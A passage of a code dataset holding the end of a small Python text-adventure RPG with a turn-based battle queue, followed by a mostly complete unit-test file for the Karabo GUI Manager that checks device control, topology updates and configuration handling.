runs--------------------------------------------------------------------------------------------------\n@dataclass(order=True)\nclass Move:\n \"\"\"Handles the priority Queue\"\"\"\n priority: float\n player: Character = field(compare=False)\n\n\nclass Battle:\n \"\"\"list of characters, and order of moves\"\"\"\n\n def __init__(self, players: List['Character']):\n self.players = players\n self.battle_queue = PriorityQueue()\n\n def add_into_queue(self, player: Character, game_time: float) -> None:\n \"\"\"adds a player back based on game time\n faster players go first\"\"\"\n move = Move(priority=game_time + 1/player.speed, player=player)\n self.battle_queue.put(move)\n\n def get_from_queue(self) -> Tuple[Character, int]:\n \"\"\"removes the player from the queue to add back after cooldown\"\"\"\n move = self.battle_queue.get()\n return move.player, move.priority\n\n def is_over(self) -> bool:\n \"\"\"true if the battle is over\"\"\"\n return self.battle_queue.empty()\n\n def level_up(self):\n exp_gain = 200\n for player in self.players:\n if player.team == 1:\n player.exp += exp_gain\n print(f'{player.name} received {exp_gain} experience points!')\n if player.exp == player.level_exp:\n print(f'{player.name} leveled up!')\n player.level += 1\n player.max_hp += 2\n player.hp = player.max_hp\n player.attack += 1\n player.speed += 1\n player.exp = 0\n player.level_exp *= 2\n print(f'{player.name}: {player.level}')\n\n def run(self):\n \"\"\"Makes the battle loop while it's not over\"\"\"\n print(f'{[player.name for player in self.players if player.team == 2]} appeared!')\n dialogue_input()\n # Empty print statements are to separate texts in the console\n # To improve readability during the program's running\n for player in self.players:\n self.add_into_queue(player=player, game_time=0)\n\n while not self.is_over():\n acting_player, current_game_time = self.get_from_queue()\n if acting_player.is_alive():\n print(f'{acting_player.name}\\'s turn')\n if acting_player.team == 1:\n acting_player.fight_input()\n acting_player.act(self.players)\n dialogue_input()\n for player in self.players:\n if player.is_alive():\n print(f'{player.name} LV: {player.level}')\n print(f'HP: {int(player.hp)}/{player.max_hp}')\n if acting_player.is_alive and acting_player.get_all_enemies(self.players):\n self.add_into_queue(acting_player, current_game_time)\n else:\n print(f'{acting_player.name} is dead')\n print()\n for player in self.players:\n if player.team == 1 and not player.is_alive():\n print('You Died')\n elif player.team == 1 and player.is_alive():\n pass\n print('You win!')\n self.level_up()\n\n\n# Main Loop------------------------------------------------------------------------------------------------------------\nif __name__ == '__main__':\n inventory = []\n debugger = False\n if debugger is True:\n names = {'1': 'Tyler', '2': 'Alex', '3': 'Robert'}\n print('Debugger mode...')\n print('Welcome debugger!')\n print('1: Tyler, 2: Alex, 3: Robert')\n print('Which debugger are you?')\n name = None\n while name is None:\n name_input = input('>')\n name = names.get(name_input)\n print(f'Welcome {name}')\n else:\n print('What is your name?')\n name = input('>')\n PC = Ally(name=name, hp=20, max_hp=20, attack=4, speed=5, exp=0, level_exp=200)\n print('press enter to move to the next line of text')\n print('You wake in your bed.')\n dialogue_input()\n print('You decide to get onto your computer.')\n dialogue_input()\n print('Suddenly, as you turn the computer on, you\\'re transported to an unfamiliar world.')\n dialogue_input()\n print('\"Welcome to the Algorithm.\" You hear a voice saying out of nowhere.')\n dialogue_input()\n print('Suddenly an apparition appears and attacks!')\n anime_male = Enemy(name='Anime Male', hp=20, max_hp=20, attack=3, speed=5, exp=0, level_exp=200)\n battle = Battle(players=[PC, anime_male])\n battle.run()\n potion = Item(name='potion', hp_restore=10)\n print('You found a potion.')\n inventory.append(potion)\n print('Thank you for playing the demo!')\n time.sleep(3)\n\n\n\n\n","repo_name":"LTRavenwood/rpg_game","sub_path":"rpg.py","file_name":"rpg.py","file_ext":"py","file_size_in_byte":12136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"722984940","text":"from inspect import signature\nfrom unittest.mock import ANY, Mock, call, patch\n\nfrom qtpy.QtCore import QSize\n\nfrom karabo.common.api import WeakMethodRef\nfrom karabo.native import (\n AccessLevel, AccessMode, Configurable, Hash, Int32, Schema, Timestamp)\nfrom karabogui.binding.api import (\n BindingRoot, DeviceClassProxy, DeviceProxy, ProjectDeviceProxy,\n ProxyStatus, build_binding)\nfrom karabogui.events import KaraboEvent\nfrom karabogui.testing import GuiTestCase, alarm_data, singletons, system_hash\nfrom karabogui.topology.system_topology import SystemTopology\n\nfrom ..manager import Manager, project_db_handler\nfrom ..mediator import Mediator\n\nTEST_SERVER_ID = 'swerver'\nTEST_CLASS_ID = 'PrettyDevice'\nTEST_DEVICE_ID = 'dev'\n\n\ndef make_project_db_handler(fall_through):\n # Creates a wrapped function to test the project_db_handler decorator\n @project_db_handler(fall_through)\n def handle(self, success, request, reply, reason=''):\n return reply\n\n return handle\n\n\nclass PrettyDevice(Configurable):\n init_prop = Int32(accessMode=AccessMode.INITONLY)\n ro_prop = Int32(accessMode=AccessMode.READONLY)\n\n\ndef _get_class_proxy(schema):\n binding = build_binding(schema)\n return DeviceClassProxy(binding=binding)\n\n\ndef _get_project_device_proxy(server_id, class_id, device_id):\n with singletons(topology=SystemTopology()):\n binding = BindingRoot(class_id=class_id)\n proxy = ProjectDeviceProxy(device_id=device_id,\n server_id=server_id,\n binding=binding)\n build_binding(PrettyDevice.getClassSchema(), existing=proxy.binding)\n return proxy\n\n\nclass TestManager(GuiTestCase):\n def test_shutdown_device(self):\n network = Mock()\n with singletons(network=network):\n manager = Manager()\n manager.shutdownDevice('dev', showConfirm=False)\n network.onKillDevice.assert_called_with('dev')\n network.reset_mock()\n manager.shutdownDevice('dev', showConfirm=False)\n with patch('karabogui.singletons.manager.QMessageBox') as mb:\n mb().size.return_value = QSize(10, 10)\n mb().exec.return_value = mb.Yes\n manager.shutdownDevice('dev')\n network.onKillDevice.assert_called_with('dev')\n network.onKillDevice.reset_mock()\n network.reset_mock()\n mb.reset_mock()\n manager.shutdownDevice('dev', showConfirm=False)\n network.onKillDevice.assert_called_with('dev')\n network.onKillDevice.reset_mock()\n mb().exec.return_value = mb.No\n manager.shutdownDevice('dev')\n network.onKillDevice.assert_not_called()\n\n with patch('karabogui.singletons.manager.QMessageBox') as mb:\n mb().size.return_value = QSize(10, 10)\n mb().exec.return_value = mb.Yes\n network.reset_mock()\n manager.shutdownDevice('dev')\n network.onKillDevice.assert_called_with('dev')\n\n mb().exec.return_value = mb.No\n network.reset_mock()\n manager.shutdownDevice('dev')\n network.onKillDevice.assert_not_called()\n\n def test_shutdown_server(self):\n network = Mock()\n with singletons(network=network):\n manager = Manager()\n with patch('karabogui.singletons.manager.QMessageBox') as mb:\n mb().size.return_value = QSize(10, 10)\n mb().exec.return_value = mb.Yes\n manager.shutdownServer('swerver')\n network.onKillServer.assert_called_with('swerver')\n network.onKillServer.reset_mock()\n mb.reset_mock()\n mb().exec.return_value = mb.No\n manager.shutdownServer('swerver')\n network.onKillServer.assert_not_called()\n\n mb().exec.return_value = mb.No\n manager.shutdownServer('swerver')\n network.onKillServer.assert_not_called()\n\n def test_call_device_slot(self):\n handler_args = None\n\n def handler(success, reply):\n nonlocal handler_args\n handler_args = success, reply\n\n def request_handler(success, reply, request):\n nonlocal handler_args\n handler_args = success, reply, request\n\n params = Hash('arg0', 0, 'arg1', 1)\n reply = Hash('result', 'yer dumb')\n\n network = Mock()\n with singletons(network=network):\n manager = Manager()\n\n # 1. Call the slot of the 'remote device'\n token = manager.callDeviceSlot(handler, 'dev', 'slot', params)\n\n assert token in manager._request_handlers\n network.onExecuteGeneric.assert_called_with(\n 'dev', 'slot', params, token=token)\n\n # Pretend the reply arrived\n manager.handle_requestGeneric(success=True,\n request=Hash(\"token\", token),\n reply=reply)\n assert handler_args == (True, reply)\n\n # 2. Different signature, we receive request\n token = manager.callDeviceSlot(request_handler,\n 'dev', 'slot', params)\n\n assert token in manager._request_handlers\n network.onExecuteGeneric.assert_called_with(\n 'dev', 'slot', params, token=token)\n\n manager.handle_requestGeneric(success=True,\n request=Hash(\"token\", token),\n reply=reply)\n assert handler_args == (True, reply, Hash(\"token\", token))\n\n # 3. Test with WeakMethod\n\n class TestObject():\n def handler(self, success, reply, request):\n nonlocal handler_args\n handler_args = success, reply, request\n\n obj = TestObject()\n weak_handler = WeakMethodRef(obj.handler, num_args=3)\n sig = signature(weak_handler)\n assert len(sig.parameters) == 3\n\n token = manager.callDeviceSlot(weak_handler,\n 'dev', 'slot', params)\n\n assert token in manager._request_handlers\n network.onExecuteGeneric.assert_called_with(\n 'dev', 'slot', params, token=token)\n manager.handle_requestGeneric(success=True,\n request=Hash(\"token\", token),\n reply=reply)\n assert handler_args == (True, reply, Hash(\"token\", token))\n\n def test_handle_system_topology(self):\n topo_hash = system_hash()\n topology = Mock()\n mediator = Mediator()\n with singletons(topology=topology, mediator=mediator):\n manager = Manager()\n manager.handle_systemTopology(topo_hash)\n topology.initialize.assert_called_with(topo_hash)\n\n def test_handle_instance_new(self):\n network = Mock()\n topology = SystemTopology()\n topo_hash = system_hash()\n topology.initialize(topo_hash)\n with singletons(network=network, topology=topology):\n manager = Manager()\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n topo_hash = system_hash()\n del topo_hash['device.divvy']\n del topo_hash['macro']\n\n changes = Hash(\"new\", topo_hash,\n \"update\", Hash(), \"gone\", Hash())\n manager.handle_topologyUpdate(changes)\n\n topo_update = {\n 'devices': [('orphan', 'Parentless',\n ProxyStatus.ONLINE)],\n 'servers': [('swerver', 'BIG_IRON', ProxyStatus.ONLINE)]\n }\n calls = broadcast_event.mock_calls\n assert len(calls) == 2\n # First call is to check for new devices\n assert calls[0][1] == (KaraboEvent.SystemTopologyUpdate,\n topo_update)\n # Second call is to clear with gone devices\n assert calls[1][1] == (KaraboEvent.ClearConfigurator,\n {'devices': []})\n\n def test_handle_instance_gone(self):\n network, topology = Mock(), Mock()\n with singletons(network=network, topology=topology):\n manager = Manager()\n\n devices = [('orphan', 'Parentless', ProxyStatus.OFFLINE)]\n topology.topology_update.return_value = (devices, [])\n\n calls = [\n call(KaraboEvent.SystemTopologyUpdate,\n {'devices': devices, 'servers': []}),\n call(KaraboEvent.ClearConfigurator,\n {'devices': ['orphan']})\n ]\n\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n changes = Hash(\"new\", Hash(),\n \"update\", Hash(),\n \"gone\", Hash(\"device\", \"orphan\"))\n manager.handle_topologyUpdate(changes)\n broadcast_event.assert_has_calls(calls)\n\n def test_handle_instance_updated(self):\n topology = Mock()\n mediator = Mediator()\n with singletons(topology=topology, mediator=mediator):\n topology.topology_update.return_value = [], []\n manager = Manager()\n changes = Hash(\"new\", Hash(), \"update\", Hash(),\n \"gone\", Hash())\n manager.handle_topologyUpdate(changes)\n topology.topology_update.assert_called_with(changes)\n\n def test_handle_class_schema(self):\n network, topology = Mock(), Mock()\n with singletons(network=network, topology=topology):\n manager = Manager()\n\n schema = Schema()\n manager.handle_classSchema('server', 'ClassName', schema)\n\n topology.class_schema_updated.assert_called_with(\n 'server', 'ClassName', schema)\n\n def test_handle_device_schema(self):\n network, topology = Mock(), Mock()\n mediator = Mediator()\n with singletons(network=network, topology=topology, mediator=mediator):\n manager = Manager()\n\n schema = Schema()\n reply = Hash('instanceId', 'dev', 'updatedSchema', schema)\n manager.handle_attributesUpdated(reply)\n topology.device_schema_updated.assert_called_with('dev', schema)\n\n manager.handle_deviceSchema('dev', schema)\n topology.device_schema_updated.assert_called_with('dev', schema)\n\n def test_init_device_none(self):\n network, topology = Mock(), Mock()\n with singletons(network=network, topology=topology):\n # instantiate with wrong class def\n manager = Manager()\n topology.get_project_device_proxy.return_value = None\n\n cfg = Hash('init_prop', 42, 'ro_prop', -1)\n manager.initDevice(TEST_SERVER_ID, TEST_CLASS_ID, TEST_DEVICE_ID,\n config=cfg)\n # No proxy means, not called!\n network.onInitDevice.assert_not_called()\n\n def test_init_device_schema_evolution(self):\n network = Mock()\n topology = Mock()\n with singletons(network=network, topology=topology):\n manager = Manager()\n schema = PrettyDevice.getClassSchema()\n topology.get_schema.return_value = schema\n proxy = _get_project_device_proxy(TEST_SERVER_ID, TEST_CLASS_ID,\n TEST_DEVICE_ID)\n\n topology.get_project_device_proxy.return_value = proxy\n\n cfg = Hash('init_prop', 42, 'ro_prop', -1, 'evolved', 43)\n manager.initDevice(TEST_SERVER_ID, TEST_CLASS_ID, TEST_DEVICE_ID,\n config=cfg)\n topology.get_schema.assert_called_with(TEST_SERVER_ID,\n TEST_CLASS_ID)\n network.onInitDevice.assert_called_with(\n TEST_SERVER_ID, TEST_CLASS_ID, TEST_DEVICE_ID,\n # The configuration will be stripped of all the keys\n # that are read-only or not in the schema\n Hash('init_prop', 42))\n\n def test_init_device_empty_config(self):\n network, topology = Mock(), Mock()\n with singletons(network=network, topology=topology):\n manager = Manager()\n schema = PrettyDevice.getClassSchema()\n topology.get_schema.return_value = schema\n proxy = _get_project_device_proxy(TEST_SERVER_ID, TEST_CLASS_ID,\n TEST_DEVICE_ID)\n topology.get_project_device_proxy.return_value = proxy\n\n manager.initDevice(TEST_SERVER_ID, TEST_CLASS_ID, TEST_DEVICE_ID)\n\n topology.get_schema.assert_called_with(TEST_SERVER_ID,\n TEST_CLASS_ID)\n network.onInitDevice.assert_called_with(\n TEST_SERVER_ID, TEST_CLASS_ID, TEST_DEVICE_ID,\n Hash())\n\n def test_init_device_badschema(self):\n network, topology = Mock(), Mock()\n with singletons(network=network, topology=topology):\n manager = Manager()\n topology.get_schema.return_value = None\n proxy = _get_project_device_proxy(TEST_SERVER_ID, TEST_CLASS_ID,\n TEST_DEVICE_ID)\n topology.get_project_device_proxy.return_value = proxy\n\n target = 'karabogui.messagebox.show_error'\n with patch(target) as msg_box:\n cfg = Hash('init_prop', 42, 'ro_prop', -1)\n manager.initDevice(TEST_SERVER_ID, TEST_CLASS_ID,\n TEST_DEVICE_ID, config=cfg)\n assert msg_box.call_count == 1\n\n def test_project_db_handler(self):\n bad_result = Hash('success', False, 'value', 1, 'reason', 'error_msg')\n good_result = Hash('success', True, 'value', 1)\n target = 'karabogui.singletons.manager.messagebox'\n with patch(target) as msg_box:\n # this creates a function wrapped by the handler that returns\n # the input data\n request = Hash()\n handler = make_project_db_handler(False)\n handler('placeholder', True, request, bad_result, reason=\"\")\n # error shown in case of bad result\n msg_box.show_error.assert_called_with('error_msg', details=None)\n\n handled_result = handler('placeholder', True, request,\n good_result, reason=\"\")\n assert handled_result.get('value') == 1\n\n # returning results in case `fall_through` is True\n handler = make_project_db_handler(True)\n handled_result = handler('placeholder', False, request, bad_result)\n assert handled_result.get('value') == 1\n\n handled_result = handler('placeholder', True, request, good_result)\n assert handled_result.get('value') == 1\n\n def test_on_received_data(self):\n manager = Manager()\n with patch.object(manager, 'handle_requestGeneric'):\n hsh = Hash('type', 'requestGeneric', 'value', 'terror')\n manager.onReceivedData(hsh)\n manager.handle_requestGeneric.assert_called_with(value='terror')\n\n def test_on_server_connection_changed(self):\n network, topology = Mock(), Mock()\n with singletons(network=network, topology=topology):\n manager = Manager()\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager.onServerConnectionChanged(True)\n broadcast_event.assert_called_with(\n KaraboEvent.NetworkConnectStatus,\n {'status': True}\n )\n\n # Check that handlers are all called when network disconnects\n target = 'karabogui.singletons.manager.get_logger'\n\n with patch(target) as logger:\n manager._request_handlers = {'bob': 'super_request'}\n manager.onServerConnectionChanged(False)\n logger().error.assert_called_with(\n 'Erased 1 pending generic requests due to '\n 'client disconnect.')\n topology.clear.assert_called_with()\n # No further requests\n assert not manager._request_handlers\n\n def test_handle_device_configuration(self):\n topology = Mock()\n with singletons(topology=topology):\n manager = Manager()\n manager.handle_deviceConfiguration('Pauly', Hash('choochness', 11))\n topology.device_config_updated.assert_called_with(\n 'Pauly', Hash('choochness', 11)\n )\n\n def test_handle_project_list_items(self):\n manager = Manager()\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n h = Hash('success', True, 'items', ['schleem', 'plumbus'])\n manager.handle_projectListItems(True, Hash(), h)\n broadcast_event.assert_called_with(\n KaraboEvent.ProjectItemsList,\n {'items': ['schleem', 'plumbus']}\n )\n\n def test_handle_project_list_domains(self):\n manager = Manager()\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n h = Hash('success', True, 'domains', ['WESTEROS'])\n manager.handle_projectListDomains(True, Hash(), h)\n broadcast_event.assert_called_with(\n KaraboEvent.ProjectDomainsList,\n {'items': ['WESTEROS']}\n )\n\n def test_handle_project_load_items(self):\n manager = Manager()\n h = Hash('success', False, 'items', ['load_me'], 'reason', 'U SUCK')\n\n broadcast = 'karabogui.singletons.manager.broadcast_event'\n messagebox = 'karabogui.singletons.manager.messagebox'\n with patch(broadcast) as broadcast_event, patch(messagebox):\n manager.handle_projectLoadItems(True, Hash(), h)\n broadcast_event.assert_called_with(\n KaraboEvent.ProjectItemsLoaded,\n {'success': False, 'items': ['load_me']}\n )\n\n def test_handle_project_save_items(self):\n manager = Manager()\n h = Hash('success', True, 'items', ['remember_this'])\n\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager.handle_projectSaveItems(True, Hash(), h)\n broadcast_event.assert_called_with(\n KaraboEvent.ProjectItemsSaved,\n {'items': ['remember_this'], 'success': True}\n )\n\n def test_handle_project_update_attribute(self):\n manager = Manager()\n h = Hash('success', True, 'items', ['new_stuff'])\n\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager.handle_projectUpdateAttribute(True, Hash(), h)\n broadcast_event.assert_called_with(\n KaraboEvent.ProjectAttributeUpdated,\n {'items': ['new_stuff']}\n )\n\n def test_handle_projectUpdate(self):\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager = Manager()\n client = \"my_client\"\n uuids = [\"123\", \"456\"]\n h = Hash('success', True, 'info', {\"client\": client,\n \"projects\": uuids})\n manager.handle_projectUpdate(**h)\n broadcast_event.assert_called_with(\n KaraboEvent.ProjectUpdated, {'uuids': ['123', '456']})\n\n def test_handle_set_log_reply(self):\n manager = Manager()\n target = 'karabogui.messagebox.show_error'\n with patch(target) as mb:\n h = Hash(\"success\", True)\n h[\"input\"] = Hash(\"instanceId\", \"swerver\",\n \"priority\", \"DEBUG\")\n manager.handle_setLogPriorityReply(**h)\n mb.assert_not_called()\n h = Hash(\"success\", False, \"reason\", \"\")\n h[\"input\"] = Hash(\"instanceId\", \"swerver\",\n \"priority\", \"DEBUG\")\n manager.handle_setLogPriorityReply(**h)\n mb.assert_called_once()\n\n def test_handle_network_data(self):\n dev_proxy, prop_binding, topology = Mock(), Mock(), Mock()\n\n executeLater = 'karabogui.singletons.manager.executeLater'\n apply_tgt = 'karabogui.singletons.manager.apply_fast_data'\n with patch(executeLater) as later, patch(apply_tgt) as apply_later:\n with singletons(topology=topology):\n manager = Manager()\n dev_proxy.get_property_binding.return_value = prop_binding\n topology.get_device.return_value = dev_proxy\n ts = Timestamp(\"2009-04-20T10:32:22 UTC\")\n meta = Hash('timestamp', True)\n ts.toHashAttributes(meta)\n data = Hash('Position', 10)\n manager.handle_networkData('frankie:output', data, meta)\n assert 'frankie:output' in manager._big_data\n assert later.call_count == 1\n\n callback = later.mock_calls[0][1][0]\n callback()\n apply_later.assert_called_with(\n data, prop_binding.value.schema, ts)\n\n def test_handle_init_reply(self):\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager = Manager()\n\n manager.handle_initReply('rick', True, 'wubbalubbadubdub')\n broadcast_event.assert_called_with(\n KaraboEvent.DeviceInitReply, ANY\n )\n event_data = broadcast_event.mock_calls[0][1][1]\n assert event_data['success']\n assert event_data['message'] == 'wubbalubbadubdub'\n assert isinstance(event_data['device'], DeviceProxy)\n\n with patch('karabogui.singletons.manager.messagebox') as mbox:\n info = {'deviceId': 'bob', 'message': 'mandatory key missing',\n 'success': False}\n manager = Manager()\n manager.handle_initReply(**info)\n mbox.show_error.assert_called_with(\n 'The instance bob could not be instantiated.. '\n '

The reason is:
mandatory key '\n 'missing
', details=None)\n\n # details case\n info = {\n 'deviceId': 'bob',\n 'message': 'mandatory key missing\\nDetails:\\nhost missing',\n 'success': False}\n manager.handle_initReply(**info)\n mbox.show_error.assert_called_with(\n 'The instance bob could not be instantiated.. '\n '

The reason is:
mandatory key '\n 'missing

Click '\n '\"Show Details...\" for more information.',\n details=\"host missing\")\n\n def test_handle_log_messages(self):\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager = Manager()\n messages = [Hash(\n \"type\", \"error\",\n \"category\", \"XFEL/MOTOR/1\",\n \"message\", \"This is a test message\",\n \"traceback\", \"\",\n \"timestamp\", Timestamp().toLocal())]\n manager.handle_log(messages)\n broadcast_event.assert_called_with(\n KaraboEvent.LogMessages, {\"messages\": messages})\n\n def test_handle_broker_information(self):\n network = Mock()\n mediator = Mediator()\n with singletons(network=network, mediator=mediator):\n # New protocol\n manager = Manager()\n manager.handle_serverInformation(readOnly=True)\n network.set_server_information.assert_called_once_with(\n read_only=True)\n # Old protocol\n network.reset_mock()\n manager.handle_brokerInformation(readOnly=True)\n network.set_server_information.assert_called_once_with(\n read_only=True)\n\n def test_handle_login_information(self):\n network = Mock()\n mediator = Mediator()\n path = 'karabogui.singletons.manager.broadcast_event'\n with patch(path) as broad:\n with singletons(network=network, mediator=mediator):\n manager = Manager()\n manager.handle_loginInformation(\n accessLevel=AccessLevel.ADMIN.value)\n broad.assert_called_with(KaraboEvent.LoginUserChanged, {})\n broad.reset_mock()\n # Try again downgrade\n manager.handle_loginInformation(\n accessLevel=AccessLevel.OBSERVER.value)\n broad.assert_called_with(KaraboEvent.LoginUserChanged, {})\n broad.reset_mock()\n # Read Only, but since we are observer, it is not chnaged\n manager.handle_loginInformation(\n accessLevel=AccessLevel.OBSERVER.value)\n broad.assert_not_called()\n\n def test_handle_alarm_update(self):\n topology = Mock()\n with singletons(topology=topology):\n manager = Manager()\n manager.handle_alarmUpdate('AlarmService', Hash(alarm_data()))\n\n def test_handle_alarm_init(self):\n topology = Mock()\n with singletons(topology=topology):\n manager = Manager()\n manager.handle_alarmInit('AlarmService', Hash(alarm_data()))\n\n def test_handle_property_history(self):\n topology, device_proxy = Mock(), Mock()\n with singletons(topology=topology):\n topology.get_device.return_value = device_proxy\n manager = Manager()\n info = {'deviceId': 'bob', 'property': 'answer', 'data': [42],\n 'success': True}\n manager.handle_propertyHistory(**info)\n expected_call = call.publish_historic_data('answer', [42])\n assert device_proxy.method_calls[0] == expected_call\n\n def test_handle_notification(self):\n m_path = 'karabogui.singletons.manager.messagebox'\n b_path = 'karabogui.singletons.manager.broadcast_event'\n l_path = 'karabogui.singletons.manager.get_logger'\n\n with patch(m_path) as mbox, patch(b_path) as broadcast:\n info = {'message': 'hello'}\n manager = Manager()\n manager.handle_notification(**info)\n mbox.show_warning.assert_called_with('hello')\n\n mbox.reset_mock()\n info = {'nomessage': 'hello'}\n manager.handle_notification(**info)\n mbox.show_warning.assert_not_called()\n\n mbox.reset_mock()\n info = {'message': 'hello', 'contentType': 'banner'}\n manager.handle_notification(**info)\n mbox.show_warning.assert_not_called()\n broadcast.assert_called_with(\n KaraboEvent.ServerNotification, info)\n\n mbox.reset_mock()\n broadcast.reset_mock()\n with patch(l_path) as logger:\n info = {'message': 'hello', 'contentType': 'logger'}\n manager.handle_notification(**info)\n mbox.show_warning.assert_not_called()\n broadcast.assert_not_called()\n logger().log.assert_called_with(20, 'hello')\n\n asserts = [\n ('DEBUG', 10),\n ('INFO', 20),\n ('WARNING', 30),\n ('WARN', 30),\n ('ERROR', 40),\n ('FATAL', 50),\n ('CRITICAL', 50),\n ]\n for level, integer in asserts:\n logger().reset_mock()\n info = {'message': 'hello', 'contentType': 'logger',\n 'level': level}\n manager.handle_notification(**info)\n logger().log.assert_called_with(integer, 'hello')\n\n def test_handle_executeReply(self):\n target = 'karabogui.singletons.manager.messagebox'\n with patch(target) as mbox:\n manager = Manager()\n info = Hash(\n \"success\", False,\n \"input\", Hash(\"deviceId\", \"XFEL/MOTOR/2\",\n \"command\", \"move\"),\n \"reason\", \"timeout in gui server\\nDetails:\\nNot online\")\n manager.handle_executeReply(**info)\n mbox.show_error.assert_called_with(\n 'Execute slot move of device XFEL/MOTOR/2 has '\n 'encountered an error!

The reason is:'\n '
timeout in gui server

Click '\n '\"Show Details...\" for more information.',\n details=\"Not online\")\n\n # No details test\n info = Hash(\n \"success\", False,\n \"input\", Hash(\"deviceId\", \"XFEL/MOTOR/2\",\n \"command\", \"move\"),\n \"reason\", \"timeout in gui server\")\n manager.handle_executeReply(**info)\n mbox.show_error.assert_called_with(\n 'Execute slot move of device XFEL/MOTOR/2 has '\n 'encountered an error!

The reason is:'\n '
timeout in gui server
',\n details=None)\n\n def test_handle_deviceConfigurations(self):\n topology = Mock()\n with singletons(topology=topology):\n manager = Manager()\n configs = {\"XFEL/MOTOR/1\": Hash(\"state\", \"MOVING\"),\n \"XFEL/MOTOR/2\": Hash(\"state\", \"OFF\")}\n manager.handle_deviceConfigurations(configs)\n topology.device_config_updated.call_count == 2\n\n def test_handle_configurationFromPast(self):\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager = Manager()\n config_time = Timestamp()\n config = Hash(\"archive\", False)\n info = Hash(\n \"success\", True,\n \"config\", config,\n \"reason\", \"\",\n \"deviceId\", \"XFEL/MOTOR/2\",\n \"configTimepoint\", config_time,\n \"configAtTimepoint\", True,\n \"preview\", True,\n \"time\", config_time)\n\n manager.handle_configurationFromPast(**info)\n broadcast_event.assert_called_with(\n KaraboEvent.ShowConfigurationFromPast,\n {'deviceId': 'XFEL/MOTOR/2',\n 'configuration': config,\n 'time': config_time.toLocal(),\n 'config_time': config_time.toLocal(),\n 'preview': True, 'time_match': True})\n\n target = 'karabogui.singletons.manager.messagebox'\n with patch(target) as mbox:\n manager = Manager()\n timepoint = Timestamp()\n info = Hash(\n \"success\", False,\n \"deviceId\", \"XFEL/MOTOR/2\",\n \"time\", timepoint)\n reason = \"Device not logged\"\n info[\"reason\"] = reason\n manager.handle_configurationFromPast(**info)\n mbox.show_error.assert_called_with(\n \"The configuration of `XFEL/MOTOR/2` requested at time point \"\n f\"`{timepoint.toLocal()}` was not retrieved!

\"\n f\"The reason is:
{reason}\",\n details=None)\n\n def test_handle_listConfigurationFromName(self):\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager = Manager()\n items = [\"a\", \"b\", \"c\"]\n args = Hash(\"deviceId\", \"XFEL/CAM/1\")\n info = Hash(\n \"success\", True,\n \"reply\", Hash(\"items\", items),\n \"request\", Hash(\"args\", args),\n \"reason\", \"\")\n\n manager.handle_listConfigurationFromName(**info)\n broadcast_event.assert_called_with(\n KaraboEvent.ListConfigurationUpdated,\n {'items': items, 'deviceId': 'XFEL/CAM/1'})\n\n target = 'karabogui.singletons.manager.messagebox'\n with patch(target) as mbox:\n manager = Manager()\n info[\"success\"] = False\n manager.handle_listConfigurationFromName(**info)\n mbox.show_error.assert_called_with(\n 'Requesting a list of configurations for XFEL/CAM/1 failed!',\n details='')\n\n def test_handle_getConfigurationFromName(self):\n target = 'karabogui.singletons.manager.broadcast_event'\n with patch(target) as broadcast_event:\n manager = Manager()\n item = Hash(\"name\", \"devName\",\n \"config\", Hash(\"state\", \"ON\"))\n\n args = Hash(\"deviceId\", \"XFEL/CAM/1\")\n info = Hash(\n \"success\", True,\n \"reply\", Hash(\"item\", item),\n \"request\", Hash(\"args\", args, \"preview\", False),\n \"reason\", \"\")\n\n manager.handle_getConfigurationFromName(**info)\n broadcast_event.assert_called_with(\n KaraboEvent.ShowConfigurationFromName,\n {'configuration': Hash(\"state\", \"ON\"), 'preview': False,\n 'name': 'devName', 'deviceId': 'XFEL/CAM/1'})\n\n target = 'karabogui.singletons.manager.messagebox'\n with patch(target) as mbox:\n manager = Manager()\n info[\"success\"] = False\n manager.handle_getConfigurationFromName(**info)\n mbox.show_error.assert_called_with(\n 'Requesting a configuration for XFEL/CAM/1 failed!',\n details='')\n\n def test_handle_saveConfigurationFromName(self):\n network = Mock()\n with singletons(network=network):\n manager = Manager()\n item = Hash(\"name\", \"devName\",\n \"config\", Hash(\"state\", \"ON\"))\n\n args = Hash(\"deviceIds\", [\"XFEL/CAM/1\"])\n info = Hash(\n \"success\", True,\n \"reply\", Hash(\"item\", item),\n \"request\", Hash(\"args\", args, \"preview\", False,\n \"update\", True),\n \"reason\", \"\")\n manager.handle_saveConfigurationFromName(**info)\n network.onListConfigurationFromName.assert_called_with(\n 'XFEL/CAM/1')\n\n target = 'karabogui.singletons.manager.messagebox'\n with patch(target) as mbox:\n manager = Manager()\n info[\"success\"] = False\n manager.handle_saveConfigurationFromName(**info)\n mbox.show_error.assert_called_with(\n 'Saving a configuration for XFEL/CAM/1 failed!', details='')\n\n\ndef test_handle_destinations(gui_app, mocker):\n network = mocker.Mock()\n with singletons(network=network):\n manager = Manager()\n with singletons(manager=manager):\n broadcast = mocker.patch(\n \"karabogui.singletons.manager.broadcast_event\")\n reply = Hash(\"destinations\", [\"one\", \"two\", \"three\"])\n manager.handle_listDestinations(success=True,\n request=Hash(), reply=reply)\n broadcast.assert_called_with(\n KaraboEvent.ActiveDestinations, [\"one\", \"two\", \"three\"])\n\n\ndef test_handle_saveLogBook(gui_app, mocker):\n network = mocker.Mock()\n logger = mocker.patch(\"karabogui.singletons.manager.get_logger\")\n with singletons(network=network):\n manager = Manager()\n with singletons(manager=manager):\n args = Hash(\"dataType\", \"image\")\n h = Hash(\"args\", args)\n manager.handle_saveLogBook(success=True, request=h, reply=h)\n message = \"Posted the image to LogBook successfully\"\n logger().info.assert_called_with(message)\n assert logger().info.call_count == 